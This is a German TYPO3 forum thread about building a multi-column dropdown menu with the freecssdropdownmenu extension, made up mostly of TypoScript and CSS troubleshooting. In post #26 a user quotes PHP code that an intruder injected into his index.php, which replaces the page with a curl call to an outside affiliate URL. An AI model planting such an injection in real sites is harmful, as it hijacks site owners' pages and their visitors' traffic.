---
title: "Typoscript für Mega Dropdown Menu"
url: "https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu"
source: "typo3.net"
tags: ["TYPO3","Menüs","Frage"]
created: "2010-01-18"
last_reply: "2013-11-14"
replies: 69
solved: false
page: 1
pages: 1
lang: "de"
---

# Typoscript für Mega Dropdown Menu

TYPO3 › Menüs · 69 Antworten · gestartet 2010-01-18

## Eröffnungsbeitrag

**cwalter** · 2010-01-18 · [Beitrag #1](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/1)

Hallo zusammen

Ich hab eine echte Knacknuss - zumindest für mich :). Ich bräuchte für ein mehrspaltiges Dropdown Menü folgenden generierten Code:

```html
<ul id="topnav">
    <li><a href="#">Punkt 1</a></li>
    <li>
    	<a href="#">Punkt 2</a>
        <div class="sub">
            <ul>
                <li><h2><a href="#">Unterpunkt 1</a></h2></li>
                <li><a href="#">Navigation Link</a></li>
                <li><a href="#">Navigation Link</a></li>
            </ul>
            <ul>
                <li><h2><a href="#">Unterpunkt 1</a></h2></li>
                <li><a href="#">Navigation Link</a></li>
                <li><a href="#">Navigation Link</a></li>
            </ul>
        </div>
    </li>
    <li><a href="#">Punkt 3</a></li>
    <li><a href="#">Punkt 4</a></li>
    <li><a href="#">Punkt 5</a></li>
</ul>
```

Allerdings bin ich mit dem hierzu notwendigen typoscript ziemlich überfordert, ich bin mir nicht einmal ganz im klaren, wie ich die einzelnen Seiten von der Hierarchie anordnen müsste, damit eine solche Struktur möglich ist (da die ersten Seiten jeder Unternavigationsgruppe jeweils noch als <h2> ausgezeichnet sein sollten). Gibt es vielleicht einen typoscript-Kenner, welcher sich ein entsprechendes TMENU vorstellen könnte?

Grüsse
Christoph

## Antworten

### [#2](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/2) · cwalter · 2010-01-19

Ich habe inzwischen eine Alternative zu meinem Code gefunden. Falls jemand auch einmal auf der Suche nach einem Mega Drop Down Menü (Drop Down mit mehreren Spalten) sein sollte, hier wird man fündig:

<http://www.lwis.net/free-css-drop-down-menu/?all>

Die dort gezeigten Menüs können alle mit der Extension "freecssdropdownmenu" nachgebildet werden.

Grüsse
Christoph

### [#3](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/3) · jank · 2010-03-09

Hallo cwalter,
ich wollte auf diesem Weg mal fragen, wie Sie mit der Extension zurechtgekommen sind?

### [#4](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/4) · jank · 2010-03-09

Zu Ihrem H2 Problem, falls Sie dieses noch nicht gelöst haben können Sie z.B. folgendes machen:

```typoscript
menu < plugin.freeCssDropDownMenu.horizontal
menu.1.NO.wrapItemAndSub = <li><h2> | </h2> </li> |*| <li> | </li> |*| <li class="last"> | </li>
menu.1.IFSUB.wrapItemAndSub = <li><h2> | </h2> </li> |*| <li> | </li> |*| <li class="dir last"> | </li>
```

### [#5](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/5) · cwalter · 2010-03-09

Hallo jank

Vielen Dank für Ihre Antwort. Ich konnte das Menü mit der erwähnten Erweiterung aufbauen, und es funktioniert problemlos. Wenn ich wieder einmal ein ähnliches Problem habe, werde ich mir Ihren Lösungsvorschlag sicher einmal genauer anschauen.

Grüsse
Christoph

### [#6](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/6) · skydivematy · 2010-03-13

Hallo Jank,
bin durch Zufall schon mal auf der Seite
www.lwis.net/free-css-drop-down-menu/?all
gelandet.
Hatte mir gut schon gefallen. Vor allem das Bespiel **Celebrity Horizontal** beeindruckte mich. Hatte schon einmal versucht es in Typo3 einzubinden, jedoch mit wenig erfolg.
Die Seite von **Ducati.com** die in diesem Menu Thema schon erwähnt wurde kenne ich auch, deswegen war ich umso mehr erfreut als ich über die von Dir entwickelte Extension *freecssdropdownmenu*stolperte. Nur habe ich ein paar Probleme das ganze umzusetzen.
Vielleicht binde ich das ganze auch Falsch ein, ich stehe wie der Ochs vorm Berg.

Ok. Mein Menu Vorhaben ist eigentlich gleich wie bei dem Beispiel Celebrity Horiz..

Mein Seitenbaum besteht erst einmal nur aus 2 Hauptseiten wobei die 2. Hauptseite jeweils 2 Unterseiten hat vom Typ spacer. Die spacer wiederum mit 4 Unterseiten. Ich weiß jetzt nicht ob ich mit dem Seiten Typ spacer auf dem Richtigen Weg bin? Vielleicht Lieg auch total daneben.

Startpage
Eine Seite
            1. unterseite (spacer)
                          1. seite
                          2. seite
                          3. seite
                          4. seite
            2. unterseite (spacer)
                          1. seite
                          2. seite
                          3. seite
                          4. seite

So komm ich zu keinen Resultat. Die Seiten unter dem Spacer werden nicht gelistet. :-(

Hier mal mein typo script.

```typoscript
lib.nav = COA
lib.nav {
  10 = TEXT
  10.value = <a id="navigation" name="navigation"></a>
  10.stdWrap.prefixComment = 2|Output of lib.nav.10
  20 = HMENU
  20 {
    stdWrap.prefixComment = 2|Output of lib.nav.20
    wrap = <div id="nav_main">|</div>
    1 = TMENU
    
    1 {
      
      wrap = <ul class="dropdown dropdown-horizontal"> | </ul>
      
      expAll = 1
      
      noBlur = 1
      
      NO = 1
      
      NO {
        
        ATagTitle.field = abstract // description // subtitle // title
        
        wrapItemAndSub = |*| <li> | </li> |*| <li class="last"> | </li>
        
        stdWrap.htmlSpecialChars = 1
        
      }
      
      IFSUB < .NO
      
      SPC = 1
      SPC.doNotShowLink = 0 
      SPC.doNotLinkIt = 1
      SPC {
        allWrap = |*| <li class="sp1"> | </li> |*| <li class="sp2"> | </li>
      }
      
    }
    
    2 < .1
    
    2.wrap = <ul> | </ul>
    
    3 < .2
    
    4 < .2
    
    5 < .2
    
  }
}
```

Für jeglichen Tipp wäre ich Dankbar.

gruß
maty

### [#7](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/7) · jank · 2010-03-13

Hallo skydivematy,
so kompliziert ist das ganze nicht...
zuerst fügst du das menü in den subpart oder marker ein in dem es nachher erscheinen soll. dann passt du die eigenschaften deinen bedürfnissen an

```typoscript
# in subpart kopieren
page.10.subparts.menu < plugin.freeCssDropDownMenu.horizontal
# css class hinzufügen
page.10.subparts.menu.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
# 2. Level nicht verlinken wenn es unterseiten gibt
page.10.subparts.menu.2.IFSUB.doNotLinkIt = 1
# 4. und 5. Menüebene löschen sonst zerreist es das menü...
page.10.subparts.menu.4 >
page.10.subparts.menu.5 >
#die andere css datei laden
page.includeCss.file1234 = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.linear.columnar.css
#... und das theme kopieren und aus z.B. fileadmin... laden
page.includeCss.file1235 = fileadmin/templates/css/default.advanced.css
# die helper muss man schauen ob man die selber braucht.... !!achtung!! überschreibt ein paar elementeigenschauften der ganzen seite...
page.includeCss.file1236 = fileadmin/templates/css/helper.css
```

so in etwa sollte das klappen...

### [#8](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/8) · skydivematy · 2010-03-14

Hallo Jank,
du hattest  Recht. Habe das ganze etwas umständlich angegangen.

Da die Seite mit TV läuft habe ich es jetzt folgendermaßen eingebunden und  es Funktionierte auf Anhieb.

Hier mit Visual Spacer

```typoscript
lib.nav = COA
lib.nav.10  < plugin.freeCssDropDownMenu.horizontal
lib.nav.10.2.IFSUB.doNotLinkIt = 1
lib.nav.10.2.SPC = 1
lib.nav.10.2.SPC.doNotShowLink = 0
lib.nav.10.2.SPC.doNotLinkIt = 1
lib.nav.10.2.SPC.allWrap = <li class="spacer1"> | </li> |*|<li class="spacer2"> | </li>
lib.nav.10.4 >
lib.nav.10.5 >
```

Jedoch das Resultat ist eigentlich das gleiche wie ich es vorher eingebunden hatte.

Wie schon erwähnt würde ich gerne das Beispiel  *lwis.celebrity* verwenden.

Wie kann ich es erreichen das ich in der 2. ebene eine Gruppierung rein bekommen?

<h2>**OBST**</h2> |  <h2>**GEMÜSE**</h2>
-------Äpfel--------------------Mören
-------Birnen-------------------Kohl
-------Trauben-----------------Wirsing

Wie oben schon gesagt, mit Spacer versucht und unterhalb (nicht innerhalb) der Spacer die jeweiligen Seiten, sagen wir mal die Obst und Gemüsesorten.

Das Resultat ist folgend.

<h2>**OBST**</h2> |
-------Äpfel-------Birnen
-------Trauben

<h2>**GEMÜSE**</h2>
--------Mören----------Kohl
--------Wirsing

Ich habe es jetzt mit verschiedenen Seiten Typen und  Konstellationen im Seitenbaum versucht. Als Shortcut oder Standard für level 2 bekomme ich einen Rollover der 3. Ebene. An der Setup.txt habe ich erst einmal nicht geändert.
Das ganze hängt wohl noch etwas zu hoch für meine Typo3 Kenntnisse.
Bin langsam am verzweifeln. #angry#

Wäre Nett von Dir wenn Du mir dazu einen Tipp geben könntest oder wo mein Fehler hängt. Sorry für Die verwirrenden Erklärung.

Danke im Voraus & Gruß

maty

### [#9](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/9) · jank · 2010-03-14

guten morgen,
In dem du den wrap wie in meinem Beispiel anpasst. Sonnst greift ja das CSS nicht...

Und aufbauen musst du 3 ebenen.
Ich schau's mir nachher nochmal genau an, bin grade nur am mobile.

### [#10](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/10) · skydivematy · 2010-03-14

Hallo Jank,
danke das Du dich so Bemühen tust.
Ich hatte jedoch Heute keine Zeit mich um Das Menu oder um meine Seite zu Kümmern. Ich werde mich morgen Abend (Montag) nochmal damit beschäftigen. Ab Dienstag habe ich erst einmal für 2 Tage kein Internet da ich den Anbieter wechseln werde und der neue erst 2 tage nach abschalten des alten Anbieters anschaltet.:-( Ist halt immer noch Afrika hier.

Noch mal ein großes DANKE

Gruß
maty

### [#11](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/11) · jank · 2010-03-15

Moin! ich empfehle ohne spacer zu arbeiten weil du von denen meines wissens keinen inhalt vererben kannst...

als struktur empfehle ich normale seiten

Level1 ESSEN
---Level2 Obst
------Level3 Äpfel
------Birnen
---Level2 GEMÜSE
------Level3 Mören
Wichtig ist eben das du die css Klassen änderst

```typoscript
lib.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
```

und die css Datei lädst

```typoscript
page.includeCss.file1234 = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.linear.columnar.css
```

Ich schau, dass ich das in die nächste Version des Menüs mit einbeziehe (vermutlich diese Woche)...
Das Menü bringt recht viele Möglichkeiten mit die ich noch nicht alle realisiert habe...

### [#12](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/12) · skydivematy · 2010-03-20

Hallo Jank,
sorry das ich mich so spät erst melde, hatte wenig Zeit.
Ok. Habe den Fehler gefunden warum es nicht funktionierte.

Es lag daran, dass ich nur die default.advanced.css aus dem folder lwis.celebrity per headerdata eingebunden hatte.

Du hattest mich ja schon einige male auf

```typoscript
page.includeCss.file1234 = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.linear.columnar.css
```

Hingewiesen, hatte jedoch Tomaten auf den Augen.  :o

Mein Jetziges Setup sieht folgendermaßen aus:

```typoscript
page.headerData.10 = TEXT
page.headerData.10.value (
<link href="fileadmin/styles/gc_site/zero_col/css/zero_col.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/styles/gc_site/zero_col/css/navigation/celebrity/default.advanced.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/styles/gc_site/zero_col/css/navigation/celebrity/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
)
```

Setup

```typoscript
lib.nav = COA
lib.nav.10  < plugin.freeCssDropDownMenu.horizontal
lib.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
lib.nav.10.1.IFSUB.doNotLinkIt = 1
lib.nav.10.2.IFSUB.doNotLinkIt = 1
lib.nav.10.2.entryLevel = 1
lib.nav.10.2.expAll = 1
lib.nav.10.4 >
lib.nav.10.5 >
```

So funzt es genau wie ich es haben wollte.
Perfekt.

Werde dir den Link der Seite dann mal per PM senden wenn sie fertig ist.
Und natührlich ein GROSSES DANKE für die kleine aber feine Extension...
 :p

gruß
maty

### [#13](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/13) · jank · 2010-03-21

Hallo skydivematy,
schön dass es geklappt hat. ich werde dieses menü noch in die nächte version mit einbauen...

Danke für den Hinweiß auf die fehlende Funktion.
Ich schau mir die Seite gerne mal an.

Bis dann

### [#14](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/14) · LucitheR · 2011-01-17

Hallo, ich finde die CSS Menüs klasse, daher war ich angenehm überrascht, festzustellen das es eine Typo3 Portierung gibt. Nur leider bin ich zu doof sie einzubauen :(
Vielleicht liegt das ja an der Seitenstruktur habe die ich aufbauen musste...

TS-Template
--Home (Shortcut auf webhosting)
---Webhosting
---- Deutschland
----...
----...
--- Zweiter Menüpunkt
---- ...
---- ...

Mein TS sieht dann mal so aus (schamlos aus diesem thread geklaut ^^):

```typoscript
lib.mainMenu = COA
lib.mainMenu.10  < plugin.freeCssDropDownMenu.horizontal
lib.mainMenu.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
lib.mainMenu.10.2.IFSUB.doNotLinkIt = 1
lib.mainMenu.10.2.SPC = 1
lib.mainMenu.10.2.SPC.doNotShowLink = 0
lib.mainMenu.10.2.SPC.doNotLinkIt = 1
lib.mainMenu.10.4 >
lib.mainMenu.10.5 >
page.includeCss.file1234 = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.linear.columnar.css
```

angezeigt wird gar nichts :(

so ganz steige ich da grad nicht durch...  gibt das eigentlich irgendwo ein howto? ein Manual ist ja leider nicht dabei... oder besser noch, was mache ich falsch?

grüße Jan

### [#15](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/15) · LucitheR · 2011-01-17

ich vergass zu erwähnen ich benutze Typo3 4.4.5 und grade habe ich gesehen das das plugin nnicht im Typoscript Object Browser zu sehen ist. :(

### [#16](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/16) · jank · 2011-01-17

Hast du es denn in deinem Template im bereich include static ausgewählt?

### [#17](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/17) · LucitheR · 2011-01-18

> **jank schrieb:**
>
> Hast du es denn in deinem Template im bereich include static ausgewählt?

ja ist ausgewählt, mittlerweile auch im Objektbrowser zu sehen, war wohl einfach ein Cachingproblem meines Firefox... aber zu sehen ist es immer noch nicht. auch nicht im Quellcode der Website.

Gibt das denn irgendwo eine Möglichkeit den Level anzugeben, ab welcher die Seiten gerendert werden sollen?

Wenn ich ein herkömmliches Menü wähle wird es auch korrekt im richtigen div-tag angezeigt, also ist der Objektpfad richtig.Im Templateanalyser wird das plugin in grün dargestellt, was wenn ich richtig liege, ja heisst das es ignoriert wird (siehe Screenshot).. #angry#

[Bild: \[upl-image-preview uuid=7e4a07e4-e196-5d65-872d-c9174696ea7c url=https://www.typo3.net/assets/files/typo3net/281-Bildschirmfoto-2011-01-18-um-09.34.38.png alt=Bildschirmfoto-2011-01-18-um-09.34.38.png thumbnail_url=https://www.typo3.net/assets/files/typo3net/281-Bildschirmfoto-2011-01-18-um-09.34.38.png\]](https://www.typo3.net/assets/files/typo3net/281-Bildschirmfoto-2011-01-18-um-09.34.38.png)

### [#18](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/18) · LucitheR · 2011-01-18

hier noch der screenshot von den static  templates

[Bild: \[upl-image-preview uuid=503be086-f8b3-5486-b8f2-195478c5f5a9 url=https://www.typo3.net/assets/files/typo3net/282-Bildschirmfoto-2011-01-18-um-09.38.53.png alt=Bildschirmfoto-2011-01-18-um-09.38.53.png thumbnail_url=https://www.typo3.net/assets/files/typo3net/282-Bildschirmfoto-2011-01-18-um-09.38.53.png\]](https://www.typo3.net/assets/files/typo3net/282-Bildschirmfoto-2011-01-18-um-09.38.53.png)

### [#19](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/19) · jank · 2011-01-18

Die Start ID kannst du in den constants angeben, genauso wie eventuelle excludes:

```typoscript
plugin.freeCssDropDownMenu.horizontal.start = xx
plugin.freeCssDropDownMenu.horizontal.exclude =
```

Start ist per default die ID 1, wenn es die bei dir nicht gibt wird auch kein Menü generiert.

Ich gebe zu ich muss die Doku mal fertigstellen :o

### [#20](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/20) · LucitheR · 2011-01-18

> **jank schrieb:**
>
> Die Start ID kannst du in den constants angeben, genauso wie eventuelle excludes:
>
> ```typoscript
> plugin.freeCssDropDownMenu.horizontal.start = xx
> plugin.freeCssDropDownMenu.horizontal.exclude =
> ```
>
> Start ist per default die ID 1, wenn es die bei dir nicht gibt wird auch kein Menü generiert.
>
> Ich gebe zu ich muss die Doku mal fertigstellen :o

genau diese Info fehlte ;)
nun funktioniert es alles :D

vielen Dank
Jan

### [#21](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/21) · LucitheR · 2011-01-18

Cool wäre es natürlich zu wissen, wie man die templates/themes per TS ändert. ;)

### [#22](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/22) · jank · 2011-01-18

auch wieder über die constants:

```typoscript
plugin.freeCssDropDownMenu.themeCss = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/themes/_template/default.css
```

### [#23](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/23) · LucitheR · 2011-01-18

danke :)

### [#24](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/24) · Dennis.​D · 2011-02-02

Hallo Zusammen,
ich hoffe es liest hier noch einer mit und mir ist es auch etwas unangenehm das ich das Menü trotz so vieler Antworten noch nicht auf die Reihe bekommen habe.

Mein Ziel: So wie in dem Celebrity Bsp, ein Menü mit mehreren Spalten nebeneinander, so das man gleich einen schönen Überblick über die Unterseiten bekommt.
Die Unterseiten des Menüs sollen nicht Ebene für Ebene nacheinander auftauchen wenn man mit der Maus drüber fährt, sondern gleich wenn ich den ersten Menüpunkt auswähle soll darunter die mehrspaltige Liste auftauchen. Ebenso wie in dem Beispiel.

Das "geklaute" TS:

```typoscript
temp.nav = COA
temp.nav.10  < plugin.freeCssDropDownMenu.horizontal
temp.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
temp.nav.10.1.IFSUB.doNotLinkIt = 1
temp.nav.10.1.expAll = 1
temp.nav.10.2.IFSUB.doNotLinkIt = 1
temp.nav.10.2.entryLevel = 1
temp.nav.10.2.expAll = 1
temp.nav.10.4 >
temp.nav.10.5 >
page.10.subparts.main_nav < temp.nav

page.headerData.100 = TEXT
page.headerData.100.value (
<link href="fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
<link href="typo3conf/ext/freecssdropdownmenu/res/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
)
```

Und hier mal der link zur Seite auf der ich das gerade ausprobiere: <http://4mamis.diekavallerie.de.www68.your-server.de/>

Bin um jeden Tipp dankbar.

LG Dennis

### [#25](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/25) · jank · 2011-02-02

Das Problem ist die Reihenfolge der CSS Dateien.

Die Dateien überschreiben der Reihe nach einige Einstellungen und wenn die Reihenfolge falsch ist überschreibt die letzte Datei die Einstellungen der vorherigen.

Hier die Reihenfolge:
dropdown.css
dropdown.linear.columnar.css
default.advanced.css

Und das Theme css unbedingt nach fileadmin kopieren, da es sonst bei einem Update überschrieben wird.

### [#26](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/26) · Dennis.​D · 2011-02-03

Gute Morgen,

erstmal vielen Dank für die schnelle Antwort. Ich werde das gleich mal ausprobieren.

Ich musste gerade leider mit entsetzen feststellen das die Seite die ich gestern Abend aufgesetzt habe, und deren link ich hier gepostet habe, gehackt wurde!

Folgenden Eintrag konnte ich im Log finden:
20:44:54		dennis@-99		LOGIN				LOGIN		User dennis logged in from 109.192.130.226 () (msg#255.1.1)
20:44:34		[0]@LIVE		[5]		  Sys!		[5_0]		Core: Exception handler (WEB): Uncaught TYPO3 Exception: Reason: Segment &quot;favicon.ico&quot; was not a keyword for a postVarSet as expected! | RuntimeException thrown in file /xx/xxx/xxx/xxx/4mamis/typo3_src-4.5.0/typo3/sysext/cms/tslib/class.tslib_fe.php in line 1572

Ich weiss nich ob jemand damit was anfangen kann. Anscheinend hat jemand meinen BE Account geknackt und hat sich dann damit um 20.44 Uhr eingeloggt.

Die index.php war auch verändert, hiermit:

```html
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.benaughty.com/aff.php");
curl_setopt($ch, CURLOPT_HEADER, 0);
#require (PATH_tslib.'index_ts.php');
curl_exec($ch);
curl_close($ch);
```

Könnte das ein TYPO3 bug in der neuen Version sein, oder habe ich einfach Pech und sollte hier solche links nicht mehr posten?

Danke euch schon mal.

### [#27](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/27) · jank · 2011-02-03

hm... ich war es nicht. Aber ist schon komisch. Aber eigentlich kann es fast kein Typo3 Bug sein, da aus Typo3 die index.php zu modifizieren recht schwer sein dürfte. Vielleicht war der ganze Server betroffen...
Das hatte ich vor kurzem auch bei einem Kunden... Da hat der Hoster einfach sch... gebaut.
Den Ordner typo3_src sollte man am besten auch nicht vom Webserver beschreibbar machen, außer du willst wirklich am Quelltext von Typo3 etwas ändern.

### [#28](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/28) · Dennis.​D · 2011-02-03

Das Du es nicht warst glaube ich Dir auch! ;)

OK, also das Menü sieht nun schon besser aus. Die 3. Ebene wird sofort dargestellt, nur komme ich gerade nicht auf den Trichter welche CSS Klasse ich nun anfassen muss damit die 3. Ebene auch neben der 2. Ebene dargestellt wird. Im Moment überlappen sich beide...

<http://entwicklung.diekavallerie.de.www68.your-server.de>

### [#29](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/29) · jank · 2011-02-03

Die Reihenfolge der CSS Dateien Stimmt immer noch nicht
Momentan:

```html
<link href="/fileadmin/template/css/dropdown.css" rel="stylesheet" type="text/css" />
<link href="/fileadmin/template/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
<link href="/fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
<link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.css" /><link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/themes/_template/default.css" />
```

Da must Du die Reihenfolge beachten, wie ich es im vorherigen Post geschrieben habe.
Bei dir überschreibt die dropdown.css die Eigenschaften der default.advanced.css und dropdown.linear.columnar.css wieder, da sie noch mal an vorletzter Stelle steht.

### [#30](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/30) · Dennis.​D · 2011-02-03

Ich steh immer noch auf dem Schlauch... Die letzte Zeile:

```html
<link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.css" /><link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/themes/_template/default.css" />
```

wird ja anscheinend aus der Extension geladen. Ich habe das so nicht im TS stehen. Wie kann ich das abstellen? Egal wie ich die Reihenfolge änder, diese Zeile taucht immer als letztes auf. #angry#

### [#31](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/31) · jank · 2011-02-03

Das kommt vom Plugin das ich geschrieben habe. Dort wird absichtlich alles in die header ID 9876 geschieben.
das kannst du aber löschen:

```typoscript
page.headerData.9876 >
```

### [#32](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/32) · Dennis.​D · 2011-02-03

Erstmal vielen Dank für Deine Geduld! :)

Trotzdem verzweifel ich langsam. Die CSS Dateien werden nun richtig eingebunden, trotzdem sieht das menü genauso aus wie vorher auch... :(

```typoscript
page.headerData.9876 >

temp.nav = COA
temp.nav.10  < plugin.freeCssDropDownMenu.horizontal
temp.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
temp.nav.10.1.IFSUB.doNotLinkIt = 0
temp.nav.10.1.expAll = 1
temp.nav.10.2.IFSUB.doNotLinkIt = 1
temp.nav.10.2.entryLevel = 1
temp.nav.10.2.expAll = 1
temp.nav.10.4 >
temp.nav.10.5 >
page.10.subparts.main_nav < temp.nav

page.headerData.1000 = TEXT
page.headerData.1000.value (
<link href="fileadmin/template/css/dropdown.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.css" rel="stylesheet" type="text/css" />
)
```

Versteh echt nicht was ich die ganze Zeit falsch mache und warum es bei den anderen sofort geklappt hat.

### [#33](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/33) · jank · 2011-02-03

> **jank schrieb:**
>
> Das Problem ist die Reihenfolge der CSS Dateien.
>
> Die Dateien überschreiben der Reihe nach einige Einstellungen und wenn die Reihenfolge falsch ist überschreibt die letzte Datei die Einstellungen der vorherigen.
>
> Hier die Reihenfolge:
> dropdown.css
> dropdown.linear.columnar.css
> default.advanced.css
>
> Und das Theme css unbedingt nach fileadmin kopieren, da es sonst bei einem Update überschrieben wird.

die default.css ist entweder vor der default.advanced.css oder gar nicht einzubinden.

### [#34](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/34) · Dennis.​D · 2011-02-03

Aber leider bringt auch das gar keinen Unterschied, weder davor noch gar nicht..

```typoscript
page.headerData.9876 >

temp.nav = COA
temp.nav.10  < plugin.freeCssDropDownMenu.horizontal
temp.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
temp.nav.10.1.IFSUB.doNotLinkIt = 0
temp.nav.10.1.expAll = 1
temp.nav.10.2.IFSUB.doNotLinkIt = 1
temp.nav.10.2.entryLevel = 1
temp.nav.10.2.expAll = 1
temp.nav.10.4 >
temp.nav.10.5 >
page.10.subparts.main_nav < temp.nav

page.headerData.1000 = TEXT
page.headerData.1000.value (
<link href="fileadmin/template/css/dropdown.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
)
```

Liegt es vllt an meinen Seiten/Ebenen? Bis jetzt gibt es unterhalb von "Home" 3 Unterebenen..

### [#35](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/35) · jank · 2011-02-03

Hallo Dennis, ich seh gerade mit firebug, das die default.css da die breite vom "ul.dropdown ul" vorgibt.
Da seh ich gerade die dropdown.linear.css fehlt bei dir ganz... die wird, wenn sie im gleichen verzeichnis liegt sonst durch import automatisch geladen.

Unter <http://www.lwis.net/free-css-drop-down-menu/dropdown.lwis.celebrity.horizontal.html> ist ne Demo bei der du dir den Quelltext anschauen kannst.

und du kannst die dropdown.linear.css, dropdown.linear.columnar.css und  default.advanced.css eigentlich im extension verzeichnis lassen. Nur deine Theme CSS sollte ins fileadmin.

Ich glaube ich muss mir demnächst mal die Zeit nehmen das als standard menü einzubauen... Das Menü ist anscheinend gerade im Trend

### [#36](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/36) · MacBookPro · 2011-03-23

Hallo Dennis,

Versuch mal bitte folgendes:

Ich habe alle CSS Files wie folgt included:

Setup:

```typoscript
page.headerData.10 = TEXT
page.headerData.10.value (
<link rel="stylesheet" type="text/css" href="fileadmin/dropdown.css" media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/dropdown.linear.columnar.css" media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/default.advanced.css"  media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/global.css" media="screen" /> <!--ist meine CSS und enthält keine Infos für die Extention vom DropDownmenu)
)
```

Unter Fileadmin habe ich folgende Files abgelegt und da war bei mir der Fehler:
default.css
default.advanced.css
dropdown.css
dropdown.linear.columnar.css
dropdown.linear.css   <-- UND DIE WAR DER GRUND; warum es nicht ging)

Die dropdown.linear.columnar bezieht sich auf die dropdown.linear.css und sollte daher im selben Ordner sein-

Noch meine Constants:

```typoscript
plugin.freeCssDropDownMenu.themeCss = fileadmin/dropdown.css
plugin.freeCssDropDownMenu.themeCss = fileadmin/dropdown.linear.columnar.css
plugin.freeCssDropDownMenu.themeCss = fileadmin/default.advanced.css
plugin.freeCssDropDownMenu.page = page
plugin.freeCssDropDownMenu.headerDataId = 10 </--ist nicht die 9876 bei mir
plugin.freeCssDropDownMenu.horizontal = 1
plugin.freeCssDropDownMenu.horizontal.start = 1
plugin.freeCssDropDownMenu.horizontal.exclude =
plugin.freeCssDropDownMenu.vertical = 0
plugin.freeCssDropDownMenu.vertical.start = 1
plugin.freeCssDropDownMenu.vertical.exclude =
```

Hoffe die Lösung hilft. Wenn nicht sag bescheid.

Ciao
Mac

### [#37](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/37) · jank · 2011-03-23

ich verwende auch nur die 9876 als default, weil ich die noch nirgends gefunden habe und sie wahrscheinlich niemand sonst händisch im Einsatz hat.

Nun zum Rest
Was mich an deinen constants wundert, ist, dass du die Variable

```typoscript
plugin.freeCssDropDownMenu.themeCss
```

3 mal überschreibst.
Am Schluss hat sie dann den Wert "fileadmin/default.advanced.css"

